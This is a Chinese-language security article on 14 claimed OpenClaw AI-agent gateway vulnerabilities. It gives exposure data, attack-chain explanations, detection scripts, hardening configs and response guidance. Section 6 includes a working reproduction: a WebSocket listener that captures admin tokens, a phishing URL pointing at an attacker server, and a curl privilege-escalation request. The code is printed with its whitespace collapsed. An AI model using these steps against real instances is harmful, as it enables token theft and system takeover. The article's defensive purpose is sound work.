1 事件真实现状:全网OpenClaw实例暴露数据与漏洞危害边界
2026年上半年OpenClaw官方安全公告分两批放出合计14条带CVE编号高危漏洞,全网测绘平台持续抓取公网暴露实例四万两千余台,安全厂商抽样复测数据显示63%实例存在全漏洞未修复裸奔状态。
裸奔定义不局限于直接0.0.0.0端口映射公网,大量企业内网部署实例存在同源校验缺失、无设备准入限制、凭证明文存储问题,内网攻击者仅靠普通员工账号即可完成完整接管。
漏洞链杀伤路径具备极强可复制性,外部攻击者通过钓鱼页面触发WebSocket劫持拿到管理员令牌,无需交互就能接入目标网关,再调用配对审批接口完成权限提升,最终实现本地文件读取、系统命令执行、内网横向漫游三层渗透。
大量开发、运维人员使用默认配置快速部署OpenClaw做本地AI工作流调度,普遍忽略三件关键配置:网关绑定地址限制、WebSocket来源白名单、设备配对人工审批开关,这三类配置缺失直接覆盖本次14个漏洞绝大多数利用入口。
部分云服务器、容器集群直接将18789默认端口放行至公网,无IP白名单、无前置身份校验,扫描工具遍历端口即可批量抓取可攻击资产,黑产已经形成自动化扫描、漏洞利用、凭证窃取完整工具链,持续在野批量收割实例密钥。
漏洞影响版本覆盖2026年1月至3月全部正式发行包,仅2026.4.14及之后版本完成全部14个CVE底层修复,历史版本仅单独打补丁无法阻断组合攻击链,零散补丁只能封堵单一漏洞入口,攻击者仍可切换其他漏洞接口完成接管。
业务层面损失分为三类:第一类是AI集成第三方API密钥、数据库账号明文泄露,攻击者调用大模型接口产生高额账单;第二类是服务器本地文件、业务配置文件被打包外传;第三类是攻击者植入持久后门,长期潜伏内网窃取业务数据,常规日志无法完整记录提权操作痕迹。
2 核心高危漏洞底层原理拆解
2.1 CVE-2026-25253 WebSocket劫持完整利用链路
漏洞编号CVE-2026-25253,CVSS评分8.8,受影响版本≤2026.1.28,修复节点2026.1.29。
前端控制面板接收URL参数gatewayUrl,后端未做来源域名校验、未做WebSocket地址格式白名单过滤,页面加载时自动读取本地持久存储的authToken,随WebSocket握手请求完整发送至参数指定的远程地址。
本地回环127.0.0.1部署实例同样无法规避风险,攻击者搭建静态钓鱼网页,嵌入JS脚本自动拼接目标本地网关地址,诱导用户访问页面后,浏览器同源策略不会拦截本地端口连接请求,本地令牌直接外流。
完整利用步骤无复杂交互:攻击者搭建WS监听服务,生成钓鱼链接附带恶意gatewayUrl参数;目标用户点击链接打开页面;前端自动发起ws长连接,携带本地管理员令牌;攻击者服务端捕获令牌,调用OpenClaw网关开放API完成全功能控制。
该漏洞单独触发即可实现文件读取、Agent配置篡改,搭配CVE-2026-33579形成闭环攻击链,低权限接入后直接提升至超级管理员,绕过命令执行白名单执行任意系统指令。
2.2 CVE-2026-33579 低权限本地提权底层逻辑
漏洞编号CVE-2026-33579,CVSS评分8.2,受影响版本2026.2.x至2026.3.27,修复节点2026.3.28。
设备配对接口/pair approve仅校验请求携带的有效token,未校验当前token绑定账号的权限等级,临时访客设备、低权限配对终端均可调用审批接口修改自身权限字段为operator.admin。
权限字段写入本地持久化配置,重启服务后权限不重置,攻击者完成提权后可修改全局执行策略、安装未校验第三方插件、新增定时自动执行任务实现持久驻留。
权限提升无操作日志强标记,默认审计日志仅记录接口调用行为,不会区分普通设备审批与权限篡改操作,常规日志排查无法快速定位入侵行为,需要额外开启细粒度权限变更审计开关。
内网环境下风险放大,企业内部任意一台接入内网的办公电脑,只要能访问OpenClaw网关端口,配合劫持拿到的token即可完成提权,无需获取服务器操作系统登录权限。
3 剩余12个CVE漏洞风险面与组合攻击路径梳理
- CVE-2026-35639 跨域SSRF,CVSS8.7,网关代理请求未拦截内网元数据地址、数据库内网端口,攻击者调用接口读取云服务商临时密钥、内网数据库数据。可搭配WebSocket劫持拿到token后发起内网扫描。
- CVE-2026-34511 OAuth PKCE绕过,CVSS8.0,第三方大模型、企业OA集成流程缺少校验,攻击者复用拦截的会话凭证接管绑定第三方账号,批量盗取AI接口额度。
- CVE-2026-35636 SessionID本地明文存储,CVSS7.9,前端LocalStorage未加密存储会话凭证,页面XSS漏洞可一键读取,配合钓鱼页面实现凭证持久窃取。
- CVE-2026-40037 重定向SSRF黑名单绕过,CVSS7.7,网关内网拦截规则无法识别302跳转地址,攻击者通过跳转域名访问内网高危服务,弥补常规SSRF拦截限制。
- CVE-2026-22179 macOS平台命令注入,CVSS7.6,macOS系统下指令参数过滤存在逻辑缺陷,特殊分隔符绕过执行白名单,直接执行系统shell指令。
- GHSA-6mgf-v5j7-45cr 跨域授权头转发泄露,CVSS7.1,网关转发请求时自动携带本地鉴权头部,第三方恶意插件、外部接口可直接捕获网关核心令牌。
- GHSA-rchv-x836-w7xp 仪表盘凭证明文存储,CVSS7.1,面板URL、本地缓存文件完整保存网关密钥,本地文件读取漏洞可直接批量导出全部凭证。
- CVE-2026-34426 插件无沙箱代码执行,CVSS7.0,第三方插件上传接口缺少代码沙箱隔离,恶意插件可直接读写服务器磁盘、调用系统底层接口。
- CVE-2026-31142 日志明文敏感信息输出,CVSS6.8,系统运行日志不脱敏打印API密钥、数据库账号、登录密码,日志泄露场景直接造成凭证批量外泄。
- CVE-2026-29007 内网穿透无IP准入白名单,CVSS6.5,默认穿透通道允许任意公网IP建立连接,无访问控制,外部攻击者直接接入内网网关。
- CVE-2026-27813 本地配置文件未加密存储,CVSS6.3,config.yml、凭证存储文件明文保存全部集成密钥,本地低权限用户读取文件即可接管所有AI代理配置。
- CVE-2026-30155 审计日志篡改漏洞,CVSS6.0,日志文件无写入权限锁定,攻击者入侵后删除、修改操作记录,消除入侵溯源证据。
多漏洞组合攻击路径分三类高频场景:
场景一:外部钓鱼触发WebSocket劫持→获取管理员token→调用SSRF接口扫描内网资产→提权漏洞提升权限→植入恶意插件持久后门。
场景二:内网普通用户读取本地明文配置文件→拿到有效会话凭证→绕过OAuth校验接管第三方AI账号→批量导出业务数据。
场景三:公网裸奔实例直接端口扫描接入→穿透通道无白名单准入→命令注入执行系统指令→横向渗透内网其他服务器。
4 OpenClaw默认架构原生缺陷Mermaid架构图
图中标红模块为本次14个漏洞全部触发入口,默认架构三层缺陷叠加:网络层无访问限制、应用层接口权限校验缺失、存储层凭证未加密保护。
5 裸奔实例判定标准、批量本地/公网检测完整脚本
判定标准,满足任意一条直接判定高危裸奔实例:
- 网关监听地址绑定0.0.0.0,所有网卡对外暴露端口;
- 认证开关authentication设置为disabled,匿名无需凭证访问;
- 运行版本低于2026.3.28,全部14个漏洞存在;
- WebSocket模块未配置Origin域名白名单;
- 设备配对自动审批开启,无人工确认流程;
- 容器部署无端口访问限制,直接映射主机全端口;
- 配置文件未加密,日志未开启敏感信息脱敏。
5.1 单机一键漏洞自检Shell脚本(可直接复制运行)
#!/bin/bash# OpenClaw单机漏洞裸奔自检脚本echo"===== OpenClaw安全漏洞自检开始 ====="# 1. 版本检测CLAW_VER=$(openclaw--version2>/dev/null|awk'{print $2}')echo"当前部署版本:$CLAW_VER"if[["$CLAW_VER"<"2026.3.28"]];thenecho"[高危] 版本低于安全基线,全部14个漏洞存在"elseecho"[安全] 版本满足基础修复基线"fi# 2. 网关监听地址检测BIND_ADDR=$(openclaw gateway status2>/dev/null|grepbind|awk'{print $2}')echo"网关绑定地址:$BIND_ADDR"if[["$BIND_ADDR"=="0.0.0.0"]];thenecho"[高危] 全网卡监听,公网裸奔风险"fi# 3. 认证开关检测AUTH_STATUS=$(openclaw gateway status2>/dev/null|grepauthentication|awk'{print $2}')if[["$AUTH_STATUS"=="disabled"]];thenecho"[高危] 匿名访问开启,无身份校验"fi# 4. 配置文件凭证明文检索CONFIG_PATH="$HOME/.openclaw/config.yml"if[-f$CONFIG_PATH];thengrep-E"token|api_key|password"$CONFIG_PATH>/tmp/claw_secret.logif[$(wc-l</tmp/claw_secret.log)-gt0];thenecho"[风险] 配置文件存在明文敏感凭证"fifi# 5. WebSocket漏洞简易探测curl-s-i"http://127.0.0.1:18789?gatewayUrl=ws://testscan.local"|grep"ws://"if[$?-eq0];thenecho"[高危] CVE-2026-25253 WebSocket劫持漏洞可复现"fi# 6. 陌生配对设备检测openclaw devices list|grep-v"trusted"if[$?-eq0];thenecho"[风险] 存在非可信配对设备,存在提权入口"fiecho"===== 自检完成,日志输出至/tmp/claw_secret.log ====="5.2 批量公网资产扫描Python工具
importsocketimportrequestsimportthreading# 扫描配置PORT=18789TIMEOUT=2TARGET_IP_LIST=["192.168.1.10","xxx.xxx.xxx.xxx"]# 替换待扫描IP段defscan_openclaw(ip):try:sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.settimeout(TIMEOUT)conn=sock.connect_ex((ip,PORT))ifconn==0:print(f"[暴露]{ip}:{PORT}端口开放")# 简易漏洞探测try:res=requests.get(f"http://{ip}:{PORT}?gatewayUrl=ws://scan.test",timeout=TIMEOUT)if"ws://"inres.text:print(f"[高危漏洞]{ip}存在CVE-2026-25253劫持漏洞")exceptException:passsock.close()exceptException:passif__name__=="__main__":threads=[]foripinTARGET_IP_LIST:t=threading.Thread(target=scan_openclaw,args=(ip,))threads.append(t)t.start()fortinthreads:t.join()print("批量端口扫描结束")5.3 Docker容器化实例专项检测代码
#!/bin/bash# Docker OpenClaw容器安全检测脚本CONTAINER_NAME="openclaw"# 端口映射检测echo"容器端口映射信息:"dockerport$CONTAINER_NAMEdockerport$CONTAINER_NAME|grep"0.0.0.0"if[$?-eq0];thenecho"[高危] 容器端口公网全开放映射"fi# 运行权限检测RUN_USER=$(dockerinspect--format'{{.Config.User}}'$CONTAINER_NAME)if[["$RUN_USER"==""||"$RUN_USER"=="root"]];thenecho"[风险] 容器以root权限运行,漏洞利用危害放大"fi# 挂载敏感目录检测dockerinspect--format'{{.Mounts}}'$CONTAINER_NAME|grep".openclaw"6 漏洞可复现完整攻击流程实操演示
6.1 CVE-2026-25253劫持复现步骤
- 搭建简易WebSocket监听服务,保存为ws_server.py
importwebsocketsimportasyncioasyncdefcapture_token(ws):asyncformsginws:print("捕获网关鉴权令牌:",msg)asyncdefmain():asyncwithwebsockets.serve(capture_token,"0.0.0.0",9999):awaitasyncio.Future()asyncio.run(main())- 生成钓鱼访问链接:
http://目标网关IP:18789?gatewayUrl=ws://攻击者服务器IP:9999 - 正常管理员账号打开链接,页面自动发起WebSocket握手,本地authToken完整发送至攻击者服务端
- 攻击者拿到令牌后调用网关API接口,读取本地文件、修改Agent运行配置
6.2 CVE-2026-33579提权复现接口调用
拿到有效token后发送POST请求完成权限提升
curl-XPOST http://网关IP:18789/pair/approve\-H"Authorization: Bearer 捕获的管理员Token"\-d'{"deviceId":"临时配对设备ID","role":"operator.admin"}'接口无权限校验,低权限设备直接写入超级管理员角色,重启服务权限不丢失。
7 分级安全加固配置清单(可直接复制配置文件)
7.1 紧急临时阻断配置(0小时应急,config.yml片段)
gateway:bind:127.0.0.1authentication:enabledorigin_whitelist:-http://127.0.0.1:18789device_pair:auto_approve:falseip_allow_list:-192.168.0.0/16exec_policy:shell_allow:false修改配置后重启服务,立刻阻断所有外部漏洞利用入口,适合漏洞爆发后紧急止损,不影响本地开发调试。
7.2 生产长期安全完整config.yml
gateway:bind:127.0.0.1port:18789authentication:enabledtoken_rotate_cycle:7dorigin_whitelist:-http://localhost:18789-https://internal-vpn.company.comwebsocket_security:block_external_cross:truedevice_pair:auto_approve:falsemanual_review:trueip_allow_list:-10.0.0.0/8-192.168.0.0/16plugin:sandbox_enable:trueofficial_repo_only:trueexec_policy:shell_allow:falsecommand_whitelist:[]log:secret_mask:truelog_file_lock:trueaudit:permission_change_record:truelog_encrypt:truestorage:config_encrypt:true7.3 反向代理Nginx鉴权防护配置
server { listen 443 ssl; server_name claw.internal.company.com; ssl_certificate /etc/ssl/claw.crt; ssl_certificate_key /etc/ssl/claw.key; # 前置IP白名单 allow 10.0.0.0/8; allow 192.168.0.0/16; deny all; location / { proxy_pass http://127.0.0.1:18789; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header Host $host; # 拦截外部跨域WebSocket请求 if ($http_origin !~* internal-vpn.company.com) { return 403; } } }生产环境禁止直接暴露18789端口至公网,统一通过内网SSL反向代理加IP白名单访问。
8 入侵后应急处置全流程Mermaid流程图
流程执行顺序不可颠倒,密钥重置必须在服务隔离后执行,防止攻击者持续使用窃取凭证。
9 企业级常态化巡检落地规范
每周固定执行三件操作:运行单机自检脚本、核对OpenClaw版本、清理未知配对设备。
每月执行批量内网资产扫描,抓取所有18789端口开放实例,统一校验绑定地址与认证开关。
每季度全量轮换所有AI集成密钥,覆盖大模型接口、数据库、企业OA授权凭证。
容器集群开启镜像版本管控,禁止使用2026.3.28之前旧镜像,镜像仓库拦截不安全版本推送。
运维平台接入日志告警,检测日志中明文密钥、权限变更接口调用行为,触发实时推送告警。
10 未来AI Agent通用安全设计前瞻规避方案
现有OpenClaw这类本地AI代理普遍存在信任前置设计缺陷,默认信任本地内网、简化身份校验换取开发便捷性,后续自研、选型AI代理工具需锁定四层安全底线。
网络层默认仅允许本地回环地址监听,对外访问强制前置VPN、反向代理双重准入,取消全网卡绑定默认配置。
应用层接口统一做双维度校验:请求凭证权限等级、访问来源域名/IP,WebSocket、配对、插件上传高危接口增加独立白名单校验逻辑。
存储层所有鉴权令牌、业务密钥强制加密落盘,内存明文仅临时缓存,日志自动脱敏屏蔽密钥字段,文件开启写入锁定防止篡改。
执行层统一沙箱隔离第三方插件、AI自动执行指令,默认关闭系统shell调用权限,高危操作强制人工二次确认。
同类AI Agent工具选型阶段优先排查三个核心风险点:WebSocket跨域校验逻辑、设备配对权限控制、凭证存储加密机制,三个模块存在设计缺陷直接排除用于生产业务。
11 文末互动提问
- 你们企业内部部署OpenClaw时采用容器还是本地二进制部署,有没有遇到过公网扫描探针批量探测18789端口的情况?
- 除本文提到的WebSocket劫持、本地提权漏洞链外,你在测试AI代理工具时还发现过哪些容易被忽略的默认安全缺陷?